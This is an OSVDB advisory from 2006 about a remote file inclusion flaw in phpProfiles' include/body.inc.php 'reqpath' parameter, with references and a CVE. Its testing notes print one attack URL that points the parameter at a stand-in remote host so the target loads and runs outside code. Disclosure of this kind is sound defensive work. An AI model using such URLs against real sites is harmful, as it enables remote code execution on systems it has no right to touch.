phpProfiles include/body.inc.php reqpath Variable Remote File Inclusion

2006-10-30T06:48:58
ID OSVDB:30136
Type osvdb
Reporter v1per-haCker(v1per-hacker@hotmail.com)
Modified 2006-10-30T06:48:58

Description

Vulnerability Description

phpProfiles contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include/body.inc.php not properly sanitizing user input supplied to the 'reqpath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Technical Description

This vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

phpProfiles contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to include/body.inc.php not properly sanitizing user input supplied to the 'reqpath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/path/users/include/body.inc.php?reqpath=http://EvElCoDe.txt?

References:

Vendor URL: http://linuxwebshop.com/scripts.php Secunia Advisory ID:22644 Related OSVDB ID: 30138 Related OSVDB ID: 30137 ISS X-Force ID: 29900 Generic Exploit URL: http://www.milw0rm.com/exploits/2688 FrSIRT Advisory: ADV-2006-4274 CVE-2006-5634 Bugtraq ID: 20819